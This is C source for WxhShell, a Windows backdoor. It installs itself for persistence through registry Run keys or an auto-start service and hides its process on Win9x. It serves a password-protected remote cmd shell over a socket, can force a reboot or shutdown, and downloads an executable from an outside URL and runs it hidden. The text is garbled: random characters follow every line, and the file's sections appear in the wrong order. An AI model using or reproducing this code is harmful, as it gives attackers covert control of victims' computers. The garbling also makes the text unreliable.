    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;NRT a*  
    else { 43-%")bH  
    closesocket(wsh); ~]/X,Cf  
    ExitThread(0); Hk\+;'PrN  
    } r<O^uz?Di  
    break; rA9x T`  
    } <' %g $"  
  // 获取shell *ftJ(  
  case 's': { fT8Id\6js  
    CmdShell(wsh); @WU_GQas3  
    closesocket(wsh); @U:T}5)wc  
    ExitThread(0); ZZE  
    break; q'2PG@  
  } g#_?Vxt  
  // 退出 u6y\GsM.a  
  case 'x': { %i%Xi+{3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1 qUdj[Bj  
    CloseIt(wsh); NI(`o8fN  
    break; FzpWT-jnDd  
    } 0mj=\j  
  // 离开 i:kWO7aP  
  case 'q': { H]=3^g64  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `CK;,>i   
    closesocket(wsh); 7"xd'\c@  
    WSACleanup(); 4'54  
    exit(1); n/@/yJ<EFi  
    break; i? AZ|Ha[  
        } 9$Mi/eLG2N  
  } dY\"'LtF  
  } e|Sg?ocR  
`z` `d*_  
  // 提示信息 @mJN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9'toj%XQ  
} kFM'?L&  
  } {|xwvTl J  
qW7"qw=   
  return; NTL#!  
} ;$&-c/]F#  
sD{b0mZT  
// shell模块句柄 pN0c'COy^  
int CmdShell(SOCKET sock) : 1fik  
{ f aO8 &  
STARTUPINFO si; UWn}0:6t  
ZeroMemory(&si,sizeof(si)); i8B%|[ nm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rpEFyHorJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +X*`}-3  
PROCESS_INFORMATION ProcessInfo; FYcMvY  
char cmdline[]="cmd"; ZVp\ 5V*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7Xad2wXn  
  return 0; iY|YEi8  
} qfSoF|  
fSqbGoIQ  
// 自身启动模式 3Gp4%UT&  
int StartFromService(void) w ^<Y5K  
{ )i_FU~ LRq  
typedef struct YRp\#pVnZ  
{ J82{PfQ"  
  DWORD ExitStatus; ~2H7_+.#  
  DWORD PebBaseAddress; Jl]]nO BQ/  
  DWORD AffinityMask; xD\Km>|i  
  DWORD BasePriority; Q"hI!PO+  
  ULONG UniqueProcessId; )E7A,ZW,  
  ULONG InheritedFromUniqueProcessId; @i{JqHU"  
}   PROCESS_BASIC_INFORMATION; ImV54h'  
Gr6ma*)y~t  
PROCNTQSIP NtQueryInformationProcess; [BQw$8 +n_  
gs8L/veP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K%pmE?%,8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #dpt=  
<,E*,&0W  
  HANDLE             hProcess; W;N/Y3Lb  
  PROCESS_BASIC_INFORMATION pbi; 'hek CZZ_I  
?Nh%!2n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =` i 7?  
  if(NULL == hInst ) return 0; 'o7PIhD"  
phc1AN=[E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f0D Ch]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $k`8Zx w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @^` <iTK&p  
4*+EUJ|  
  if (!NtQueryInformationProcess) return 0; 7@lXN8_f  
j&Hn`G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *(vq-IE\$  
  if(!hProcess) return 0; -YuvEm#f  
h+74W0 $  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <y.D0^68  
"q`%d_  
  CloseHandle(hProcess); EkL\~^  
nUd\4;J#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *b)b#p  
if(hProcess==NULL) return 0; `U g.c  
6#KI? 6  
HMODULE hMod; Dz50,*}J  
char procName[255]; 13QCM0#  
unsigned long cbNeeded; ^z^>]Qd  
+ kF[Oh#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P+b^;+\1s  
Oq2H>eW`f  
  CloseHandle(hProcess); Iv<9} )2K  
*.*:(7`  
if(strstr(procName,"services")) return 1; // 以服务启动 DO\EB6xH>%  
J7\q #]?  
  return 0; // 注册表启动 mNeW|3a  
} $1?X%8V  
~d8>#v=Q`  
// 主模块 e6R "W9  
int StartWxhshell(LPSTR lpCmdLine) pMB=iS<E  
{ @}?D<O8#"#  
  SOCKET wsl; (Z$6J Nkz  
BOOL val=TRUE; &tgvE6/V  
  int port=0; 2:N_c\Vi  
  struct sockaddr_in door; q],R6GcVr  
P\ s+2/  
  if(wscfg.ws_autoins) Install(); jkP70Is  
KNg5Ptk  
port=atoi(lpCmdLine); 5qr!OEF2  
vf yv a  
if(port<=0) port=wscfg.ws_port; fv_wK_. %:  
GiZ'IDV  
  WSADATA data; !p&'so^-W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SNU bY6  
AY;+Ws  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v 2GhR*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O<h#|g1  
  door.sin_family = AF_INET; `az`?`i7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ozv.;}SE  
  door.sin_port = htons(port); vs@:L)GW\  
7:L~n(QpP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 668bJ.M\O  
closesocket(wsl); U(N$6{i_  
return 1; M([H\^\:  
} ~yi&wbTjM  
[~<',,tA0|  
  if(listen(wsl,2) == INVALID_SOCKET) { N1!5J(V4  
closesocket(wsl); Z]S0AB.Z@  
return 1; 5 WppV3;  
} u-9t s  
  Wxhshell(wsl); _;q-+"6L;  
  WSACleanup(); `fkri k  
? 03Zy3 /  
return 0; 2jZ}VCzRG  
48g^~{T4O  
} JYr7;n'!  
}AiS83B  
// 以NT服务方式启动 ]2%P``Yj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \r%Vgne-g  
{ VQ?H:1R  
DWORD   status = 0; 9`v:$(I  
  DWORD   specificError = 0xfffffff; 9(F?|bfk  
LQ@|M.$ A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IJc#)J.2A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k6-n.Rl01  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #=H}6!18  
  serviceStatus.dwWin32ExitCode     = 0; *Z`eNz}  
  serviceStatus.dwServiceSpecificExitCode = 0; `7%eA9*.m  
  serviceStatus.dwCheckPoint       = 0; E@jl: -*E  
  serviceStatus.dwWaitHint       = 0; NoAb}1uae  
MJ9SsC1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jN} 7Bb X  
  if (hServiceStatusHandle==0) return; ePpK+E[0Z  
~9 WJrRWB  
status = GetLastError(); ,Q#tA|:8j  
  if (status!=NO_ERROR) /Z " 4[  
{ /C"s_:m;3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fF>qU-  
    serviceStatus.dwCheckPoint       = 0; YaZt+WA  
    serviceStatus.dwWaitHint       = 0;  |~uzQU7  
    serviceStatus.dwWin32ExitCode     = status; PBs<8xBx^  
    serviceStatus.dwServiceSpecificExitCode = specificError; g**% J Xo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m=.7f9  
    return; OEE{JVeI  
  } =P;;&j3Z  
'>|*j"jv-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :ZfUjqRE  
  serviceStatus.dwCheckPoint       = 0; ,N7l/6  
  serviceStatus.dwWaitHint       = 0; ;vclAsJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pu$XUt  
} :/[YY?pg-  
: |*,Lwvd  
// 处理NT服务事件,比如:启动、停止 sHTePEJ_h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w52HN;Jm  
{ /-YlC (kL  
switch(fdwControl) /N]Ow  
{ &#oZ>`Qu  
case SERVICE_CONTROL_STOP: sR>;h /  
  serviceStatus.dwWin32ExitCode = 0; 4`-?r%$,:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 31sgf5 s  
  serviceStatus.dwCheckPoint   = 0; V=4u7!ha  
  serviceStatus.dwWaitHint     = 0; ;k&k#>L!K  
  { #Wm@&|U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ROt0<^<  
  } vx5o k1UY  
  return; EOnp!]Y  
case SERVICE_CONTROL_PAUSE: ?> MoV5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YeExjC  
  break; ua|Z`qUyq  
case SERVICE_CONTROL_CONTINUE: fA M4Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jbhJ;c:  
  break; x\bRj>%(  
case SERVICE_CONTROL_INTERROGATE: 1xdESorX(  
  break; _IKP{WNB  
}; @j\?h$A/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v8vh~^X%P  
} ({_:^$E\  
?J@?,rZQ^V  
// 标准应用程序主函数 x$5nLS2.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;*4tVp,  
{ t6%xit+  
FP'u)eU&3  
// 获取操作系统版本 \eMYw7y5 M  
OsIsNt=GetOsVer(); J]Gc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &iND&>?  
Xq^y<[  
  // 从命令行安装 ^z%o];  
  if(strpbrk(lpCmdLine,"iI")) Install(); jdg ~!<C  
E #{WU}  
  // 下载执行文件 i3 l #~  
if(wscfg.ws_downexe) { [mB(GL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rxgVT4  
  WinExec(wscfg.ws_filenam,SW_HIDE); [rUh;_b\D  
} X |1_0  
Xk&F4BJQk<  
if(!OsIsNt) { /romTK4  
// 如果时win9x,隐藏进程并且设置为注册表启动 jRdhLs,M9  
HideProc(); i9@;,4f  
StartWxhshell(lpCmdLine); +ptF-  
} ;+ C o!L  
else ^0-e,d 9h  
  if(StartFromService()) sPE)m_u  
  // 以服务方式启动 yrE,,N%I  
  StartServiceCtrlDispatcher(DispatchTable); Dmm r]~  
else fs3 -rXoB  
  // 普通方式启动 CVGOX z  
  StartWxhshell(lpCmdLine); y800(z  
nT@6g|!  
return 0; =8$0$d  
} 17n+4J]  
V^Mf4!A(y  
{Ukc D+.Y  
}[KDE{,V  
=========================================== tJ h3$K\  
T[4[/n> i  
=!g/2;-or  
ph8Jn+|E  
5v !DYx  
]w_  
" Ukh$`q}  
ER;lkF`RF  
#include <stdio.h> /H%<oAjp6  
#include <string.h> 3I;xU(rv  
#include <windows.h> a*W_fxb  
#include <winsock2.h> %<=w[*i  
#include <winsvc.h> .o\;,l2  
#include <urlmon.h> \`P2Yq  
4Wi8 $  
#pragma comment (lib, "Ws2_32.lib")  9+'@  
#pragma comment (lib, "urlmon.lib") M}=s3[d(,  
#7-kL7 MK]  
#define MAX_USER   100 // 最大客户端连接数  \8>  
#define BUF_SOCK   200 // sock buffer 0\EpH[m}-  
#define KEY_BUFF   255 // 输入 buffer bRK CY6  
wuBlFUSg  
#define REBOOT     0   // 重启 z<yNG/M1>U  
#define SHUTDOWN   1   // 关机 e>?_)B4  
7Ykj#"BZ  
#define DEF_PORT   5000 // 监听端口 ^)9MzD^_nV  
"RV`L[(P*k  
#define REG_LEN     16   // 注册表键长度 }&Wp3EWw  
#define SVC_LEN     80   // NT服务名长度 |8DH4*y!  
Z^'?|qFj!  
// 从dll定义API &J lpA<^s;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wVvqw/j*f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P7'oXtW{o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KrdZEi vb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }@rg5$W  
9S:{  
// wxhshell配置信息 v+!y;N;Q  
struct WSCFG { inr%XS/m  
  int ws_port;         // 监听端口 (C-,ljY  
  char ws_passstr[REG_LEN]; // 口令 DD12pL{QA  
  int ws_autoins;       // 安装标记, 1=yes 0=no zz(!t eBC  
  char ws_regname[REG_LEN]; // 注册表键名 ;NiArcAS!  
  char ws_svcname[REG_LEN]; // 服务名 X zi'Lu `  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $zk^yumdE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *Fa )\.XX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )K>Eniou  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 05l0B5'p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c N02roQl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B\=SAi  
tr6jh=  
}; 3W7;f!  
krQ l^~@  
// default Wxhshell configuration <mv7HKVg  
struct WSCFG wscfg={DEF_PORT, Je#!Wd  
    "xuhuanlingzhe", ~_DF06G  
    1, NLcO{   
    "Wxhshell", 54 M!Fq -  
    "Wxhshell", g9yaNelDh)  
            "WxhShell Service", 0[n c7)sW  
    "Wrsky Windows CmdShell Service", JC c N>DtP  
    "Please Input Your Password: ", Hv8SYQ|  
  1, ,s1&O`  
  "http://www.wrsky.com/wxhshell.exe", <^,o$b  
  "Wxhshell.exe" M!eoe5  
    }; 9">zdFC'  
fOa6,  
// 消息定义模块 kZV^F*7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |?OdV<5C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fH{9]TU_:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Zi 2o  
char *msg_ws_ext="\n\rExit."; 1%$d D2  
char *msg_ws_end="\n\rQuit."; OOEV-=  
char *msg_ws_boot="\n\rReboot..."; v-P8WFjca  
char *msg_ws_poff="\n\rShutdown..."; 89LpklD  
char *msg_ws_down="\n\rSave to "; ]]el|  
E S#rs="  
char *msg_ws_err="\n\rErr!"; u~$WH, P3  
char *msg_ws_ok="\n\rOK!"; pyUNRqp  
iBG`43;  
char ExeFile[MAX_PATH]; 1 L+=|*:  
int nUser = 0; A)\>#Dv  
HANDLE handles[MAX_USER]; >Y7r \  
int OsIsNt; y bo#K  
YniZ( ~^K  
SERVICE_STATUS       serviceStatus; |ZS 57c:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7%{R#$F  
^y:FjQC:  
// 函数声明 T?W[Z_D  
int Install(void); nqZA|-}  
int Uninstall(void); :z B}z^8-  
int DownloadFile(char *sURL, SOCKET wsh); 285_|!.Y  
int Boot(int flag); mgy"|\]  
void HideProc(void); {F'Az1^I=  
int GetOsVer(void); T#\p%w9d  
int Wxhshell(SOCKET wsl); J__;.rnk  
void TalkWithClient(void *cs); ykxbX  
int CmdShell(SOCKET sock); q^Z~IZ8IT  
int StartFromService(void); 'Pf_5q  
int StartWxhshell(LPSTR lpCmdLine); |J:$MX~  
./#e1m?.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'dkXYtKCB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D+f'*|  
"kX`FaAhY  
// 数据结构和表定义 G7 1U7  
SERVICE_TABLE_ENTRY DispatchTable[] = sa_R$ /H  
{ u FMIY(vB  
{wscfg.ws_svcname, NTServiceMain}, >Y}7[XK  
{NULL, NULL} UQ5BH%EPb  
}; C1V# ?03eI  
!tI=`Ml[  
// 自我安装 tC2N >C[N  
int Install(void) 8O;Vl  
{ 0eFb?Z0]  
  char svExeFile[MAX_PATH]; GP* +  
  HKEY key; 1 ojhh7<  
  strcpy(svExeFile,ExeFile); 9u?(^(.  
L59bu/LfL  
// 如果是win9x系统,修改注册表设为自启动 ,!`SY)  
if(!OsIsNt) { #e*X0;m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ejq=*UOP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]$3+[9x'  
  RegCloseKey(key); mV<i JZh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CoJ55TAW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^"1TPd|  
  RegCloseKey(key); cFLd)mt/  
  return 0; 4GVNw!V  
    } $'^&\U~?  
  } YZibi  
} X6xx2v%D  
else { [Gh"ojt]w  
opdu=i=E  
// 如果是NT以上系统,安装为系统服务 Qu`n&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rnu e(t  
if (schSCManager!=0) k_!+V`Ro#  
{ ~wTX >qV  
  SC_HANDLE schService = CreateService X:Q$gO?[4  
  ( hm3jpWi 8  
  schSCManager, r=qLaPG  
  wscfg.ws_svcname, yIOLs}!SF  
  wscfg.ws_svcdisp, qbXz7s*{  
  SERVICE_ALL_ACCESS, fE^uF[-7?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v Xb:  
  SERVICE_AUTO_START, $_)=8"Sn  
  SERVICE_ERROR_NORMAL, ,<sm,!^<r  
  svExeFile, {DT4mG5  
  NULL, eZNitGaU  
  NULL, DF'8GF&Rp  
  NULL, |1"!k A  
  NULL,  Vu [:A  
  NULL hY+R'9  
  ); _9NVE|c;  
  if (schService!=0) R uLvG+  
  { }kE87x'  
  CloseServiceHandle(schService); J='W+=N  
  CloseServiceHandle(schSCManager); 0N{+y}/G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i&A%"lOI9  
  strcat(svExeFile,wscfg.ws_svcname); XvskB[\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { . |uLt J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~s#e,Kav"  
  RegCloseKey(key); X2gz6|WJ  
  return 0; ^Gq5ig1rxy  
    } snYr9O[E6  
  } Q2eXK[?*  
  CloseServiceHandle(schSCManager); kJkxx*:u  
} cn%2OP:L^  
} Jf)3< ~G  
:tM?%=Q  
return 1; b{RqwV5P  
} fYBH)E  
YUscz!rM  
// 自我卸载 Gy!P,a)z  
int Uninstall(void) 55-D\n<  
{ 9cQ_mgch  
  HKEY key; G;TsMq  
wVqd$nsY"  
if(!OsIsNt) { : ,p||_G&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bC~~5Cm  
  RegDeleteValue(key,wscfg.ws_regname); Q2/.6O8  
  RegCloseKey(key); "}b'E#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ( KTnJZ  
  RegDeleteValue(key,wscfg.ws_regname); -(>qu.[8=  
  RegCloseKey(key); xhw-2dl*H  
  return 0; ?z/Vgk+9|  
  } `tE^jqrke5  
} gi]ZG  
} EvE,Dm?h  
else { v7IzDz6gF  
SMoz:J*Q(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f-g1[!"F  
if (schSCManager!=0) X \f[  
{ @u) 'yS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); EfiU$ 8y  
  if (schService!=0) iePf ]O*  
  { nxaT.uFd1  
  if(DeleteService(schService)!=0) { h1+ hds+  
  CloseServiceHandle(schService); (ZP87Gz  
  CloseServiceHandle(schSCManager); ->E=&X  
  return 0; Ue$zH"w  
  } LK}-lZ` i  
  CloseServiceHandle(schService); Bux'hc  
  } ? _ <[T  
  CloseServiceHandle(schSCManager); u1cu]Sj0  
} 5]"SGP  
} d TGA5c  
7zDiHac  
return 1; = .oHnMX2M  
} *Oo &}oAj  
Dag`>|my  
// 从指定url下载文件 6T+  
int DownloadFile(char *sURL, SOCKET wsh) GK{{7B  
{ RY=1H  
  HRESULT hr; Pxhz@":[  
char seps[]= "/"; z^W$%G  
char *token; l#bAl/c`  
char *file; 5PZN^\^  
char myURL[MAX_PATH]; 6^#uLp>  
char myFILE[MAX_PATH]; `cr(wdvI  
[pgZbOIN37  
strcpy(myURL,sURL); ]hE="z=n  
  token=strtok(myURL,seps); @Bs0Avj.  
  while(token!=NULL) 4h|dHXYZ  
  { _+w/ pS`M  
    file=token; %f&< wC  
  token=strtok(NULL,seps); .Q&rfH3  
  } 5Qa zHlJ  
:0 ^s0l  
GetCurrentDirectory(MAX_PATH,myFILE); 5j^NV&/_  
strcat(myFILE, "\\"); V 0{tap}  
strcat(myFILE, file); w([$@1]  
  send(wsh,myFILE,strlen(myFILE),0); sR=/%pVN  
send(wsh,"...",3,0);  k0H#:c}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z.)p P'CJo  
  if(hr==S_OK) P<;7j?  
return 0; n56;m`IU  
else I*\^,ow  
return 1; ml u 3K  
~ 3T,&?r  
} PRs@zkO  
2 x 4=  
// 系统电源模块 lKV"Mh+6  
int Boot(int flag) ULBg {e?l8  
{ UQT'6* !  
  HANDLE hToken; Vhg1/EgUr  
  TOKEN_PRIVILEGES tkp; mBk5+KyT  
ijUzC>O+q  
  if(OsIsNt) { :&VcB$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xxa} YIe8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O}Le]2'  
    tkp.PrivilegeCount = 1; w'ybbv{c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =AOWeLk*G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Xl%0/ o  
if(flag==REBOOT) { IFuZ]CBz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IA*KaX2S<  
  return 0; x?r1s#88>  
} K7`YJp`i  
else { P $ >`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?tYpc_p#  
  return 0; UAYd?r  
} :w-`PY J%G  
  } Jb(Y,LO^  
  else { sR_xe}-  
if(flag==REBOOT) { WDx Mo`zT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?Zcj}e.r  
  return 0; \pY^^ l*  
} -50AX1h31:  
else { B 0)]s<<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JlZ0n;  
  return 0; Y2T$BJJ  
} kA#vByf`v  
} 2C "=!'  
_6LoVS  
return 1; -T_\f?V88  
} _j ;3-m  
t&RruwN_;  
// win9x进程隐藏模块 O!F]^'!  
void HideProc(void) *"9<TSU%m  
{ _%pAlo_6  
4<v;1   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u<Xog$esu  
  if ( hKernel != NULL ) H~fdbR  
  {  .5Z_E O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /L~m#HxWU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hC<14  
    FreeLibrary(hKernel); H{zPft  
  } :7b-$fm  
^%[F8\}XPJ  
return; <Oz66bTze  
} W|R-J  
,=By$.rr'  
// 获取操作系统版本 T@ 48qg  
int GetOsVer(void) q)I|2~Q c^  
{ hnxc`VX>g  
  OSVERSIONINFO winfo; AR B7>"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "yh Pm  
  GetVersionEx(&winfo); ~"dhu]^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .iv3q?8.b  
  return 1; J=}F2C   
  else {d!Y3+I%G  
  return 0; IgX4.]W5  
} At9X]t  
}T(z4P3  
// 客户端句柄模块 G\~^&BAC  
int Wxhshell(SOCKET wsl) *xH\)|3,  
{ 8vD3=yK%^  
  SOCKET wsh; |4>:M\h  
  struct sockaddr_in client; Mq\~`8V  
  DWORD myID; b|?;h21rG  
optBA3@e!  
  while(nUser<MAX_USER) z +VV}:Q  
{ G[yI*/E;  
  int nSize=sizeof(client); Zf:]Gq1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >Y&KTSD"  
  if(wsh==INVALID_SOCKET) return 1; vjlGXT`m  
=*MR(b>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vr IV%l=  
if(handles[nUser]==0) 2*OxA%QELM  
  closesocket(wsh); 8z T0_vw  
else Ft-6m%  
  nUser++; x)viY5vjH  
  } I:;+n^N?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]b1Li}  
.Q\\dESn"  
  return 0; Pes =aw  
} 'mV:@].le  
q627<  
// 关闭 socket e}"wL g]  
void CloseIt(SOCKET wsh) tOg=zXm   
{ v\0^mp  
closesocket(wsh); gGfq6{9g  
nUser--; =/Juh7[C  
ExitThread(0); uqZ3Hyb  
} ^gg!Me  
E(Gr0#8  
// 客户端请求句柄 eyB_l.U7  
void TalkWithClient(void *cs) 9g@NcJ]  
{ -Ktwo_ V*  
0m=(W^c  
  SOCKET wsh=(SOCKET)cs; uiMIz?+  
  char pwd[SVC_LEN]; =5s$qb?#  
  char cmd[KEY_BUFF]; Q[_Ni15  
char chr[1]; J/kH%_ >Ir  
int i,j; dR[o|r  
^k72{ 3N(  
  while (nUser < MAX_USER) { "c Pz|~  
QJXdb]Y^;  
if(wscfg.ws_passstr) { 8/q*o>[?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O@,i1ha%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YFvgz.>QE  
  //ZeroMemory(pwd,KEY_BUFF); Z_itu73I  
      i=0; wn84?$BGd  
  while(i<SVC_LEN) { e,Zv]Cym  
v5 Y)al@  
  // 设置超时 Xb<)LHA~3  
  fd_set FdRead; gWu"91Y0>  
  struct timeval TimeOut; *l!5QG UoK  
  FD_ZERO(&FdRead); 8=4^Lm  
  FD_SET(wsh,&FdRead); fM:80bn L+  
  TimeOut.tv_sec=8; ETelbj;0  
  TimeOut.tv_usec=0; ^5x4q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n\>.T[$"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V9{B}5KC  
t2.juoI(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @ ;J|xkJ  
  pwd=chr[0]; #313 (PWH  
  if(chr[0]==0xd || chr[0]==0xa) { JtmQzr0>  
  pwd=0; ?>?ZAr  
  break; _85E=  
  } viV-e$s`.  
  i++; P^4'|#~2T  
    } =|JKu'  
l $Zs~@N  
  // 如果是非法用户,关闭 socket J/7 u7_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M?hFCt3Y  
} <2)v9c  
Y6;@/[_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cVg$dt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =,E'~P  
a71}y;W  
while(1) { me$$he  
K~JC\a\0  
  ZeroMemory(cmd,KEY_BUFF); OR~GOv|  
(WMLNv  
      // 自动支持客户端 telnet标准   g& >m P?  
  j=0; Eq7gcDQ  
  while(j<KEY_BUFF) { Gx|Dql  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C~_q^fXJt  
  cmd[j]=chr[0]; hvcR.f)C>  
  if(chr[0]==0xa || chr[0]==0xd) { c#x7N9;"!  
  cmd[j]=0; p[gAZ9  
  break; 2K~tDNv7  
  } LOt#1Qv  
  j++; U]mO7HK  
    } ,s8&#1rJ-  
:|fl?{E  
  // 下载文件 ~,+[M-  
  if(strstr(cmd,"http://")) { 't ;/,+:V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g4T3?"xMB_  
  if(DownloadFile(cmd,wsh)) FJlsWh4,6=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xr)g  
  else W7]mfy^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +}Auk|>Dc  
  } -%N}A3m!5  
  else { IjgBa-o/V  
MIJ%_=sm4:  
